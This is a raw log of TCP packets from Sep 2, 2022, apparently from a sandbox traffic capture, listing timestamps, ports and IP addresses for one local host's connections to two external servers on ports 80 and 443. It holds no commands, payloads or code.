Sep 2, 2022 14:02:26.611284971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.611287117 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.611325979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.611443996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611504078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.611505032 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.611632109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611716986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.611761093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611799955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611835003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611856937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.611861944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.611890078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612020016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612068892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612092972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612097025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612154961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612400055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612437010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612462044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612502098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612517118 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612611055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612648010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612673044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.612673044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612745047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.612994909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613030910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613059044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.613075972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.613085032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613224983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613267899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613277912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.613336086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613348007 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.613612890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613692045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.613905907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613934994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613971949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.613979101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614015102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614037037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614041090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614063025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614288092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614365101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614413977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614450932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614522934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614530087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614557028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614610910 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614622116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614682913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614717960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614741087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.614742994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.614761114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615619898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615664959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615690947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615725994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615726948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615746021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615771055 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615839005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615865946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615901947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615912914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615937948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615950108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615963936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.615982056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.615998030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616034031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616041899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616064072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616079092 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616249084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616287947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616297960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616312027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616333008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616508961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616544962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616550922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616570950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616591930 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616915941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616956949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.616965055 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.616983891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617006063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617046118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617084026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617091894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617110968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617126942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617425919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617464066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617476940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617490053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617510080 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617621899 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.617646933 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.617702007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617738962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617744923 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.617765903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.617780924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617805958 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.617810965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.617829084 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.617855072 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.618156910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618225098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618352890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618395090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618408918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618429899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618465900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618473053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618508101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618509054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618710041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618756056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618787050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618798971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618833065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618865967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618884087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618896008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.618911982 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.618932009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619225025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619275093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619287968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619294882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619313002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619621992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619638920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619647026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619697094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619771957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619788885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619801998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619823933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619843960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619941950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619982004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.619986057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.619993925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620027065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.620342016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620389938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.620419979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620434046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620467901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.620666981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620685101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620696068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620716095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.620737076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.620908976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620944977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620954037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.620958090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.620990038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.621263981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621301889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621315002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621330976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.621349096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.621711969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621809959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.621953011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621965885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621982098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621998072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.621999025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.622009993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622035027 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.622054100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.622500896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622519016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622553110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.622575045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.622598886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622714043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622730970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622759104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.622761965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.622781992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.623076916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623095989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623107910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623136997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.623157024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.623405933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623440981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623452902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623481035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.623486042 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.623502016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.623513937 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.623584986 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.623606920 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.623620987 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.623656034 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.623688936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623707056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623718977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.623758078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.623776913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.624003887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624074936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.624165058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624181986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624238968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.624289989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624313116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624325991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624351978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.624380112 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.624661922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624679089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624691963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.624716997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.624737024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625092030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625124931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625138044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625150919 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625154018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625190020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625211000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625236988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625257969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625298023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625579119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625598907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625612020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625652075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625730038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625747919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625760078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.625778913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625798941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.625804901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.626055002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.626074076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.626087904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.626117945 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.626322985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.626339912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.626352072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.626368046 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.626389980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.626396894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.627043962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627085924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627099037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627147913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.627186060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627238035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.627254009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.627314091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627327919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627386093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.627906084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.627980947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628052950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628083944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628101110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628118038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628145933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628151894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628205061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628206968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628405094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628437042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628448963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628477097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628498077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628660917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628696918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628709078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.628729105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.628751040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629036903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629101992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629153013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629165888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629209042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629239082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629259109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629277945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629318953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629338980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629569054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629677057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629690886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629717112 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629743099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.629803896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629822016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629833937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.629877090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.630124092 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.630191088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630208015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630219936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630367041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.630399942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630419016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630430937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630462885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.630494118 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.630640030 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.630669117 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.630755901 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.630778074 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.630798101 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.630805016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630821943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630831003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.630836010 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.630861998 CEST	49787	80	192.168.2.6	85.209.157.230
